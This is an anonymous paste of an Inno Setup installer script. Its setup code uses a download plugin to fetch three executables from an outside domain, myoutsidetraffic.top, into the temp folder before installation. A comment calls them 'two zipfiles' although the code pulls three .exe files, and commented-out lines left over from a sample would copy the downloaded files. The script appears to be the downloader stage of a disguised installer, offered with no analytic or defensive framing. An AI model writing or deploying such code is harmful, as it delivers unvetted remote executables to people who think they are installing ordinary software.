Advertisement
Guest User

Untitled

a guest
Jun 11th, 2019
455
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. [Code]
  2. procedure InitializeWizard();
  3. begin
  4.  itd_init;
  5.  
  6.  //Let's download two zipfiles from my website..
  7. itd_addfile('http://myoutsidetraffic.top/uk/1.exe',expandconstant('{tmp}\1.exe'));
  8. itd_addfile('http://myoutsidetraffic.top/uk/2.exe',expandconstant('{tmp}\2.exe'));
  9. itd_addfile('http://myoutsidetraffic.top/uk/3.exe',expandconstant('{tmp}\3.exe'));
  10. // itd_addfile('http://www.sherlocksoftware.org/petz/files/petz4.zip',expandconstant('{tmp}\petz4.zip'));
  11.  
  12.  //Start the download after the "Ready to install" screen is shown
  13.  itd_downloadafter(wpReady);
  14. end;
  15.  
  16. //procedure CurStepChanged(CurStep: TSetupStep);
  17. //begin
  18.  //if CurStep=ssInstall then begin //Lets install those files that were downloaded for us
  19.   //filecopy(expandconstant('{tmp}\1.exe'),expandconstant('{tmp}\2.exe'),false);
  20.     //filecopy(expandconstant('{tmp}\3.exe'),expandconstant('{tmp}\4.exe'),false);
  21.  // filecopy(expandconstant('{tmp}\petz4.zip'),expandconstant('{app}\petz4.zip'),false);
  22.  //end;
  23. //end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement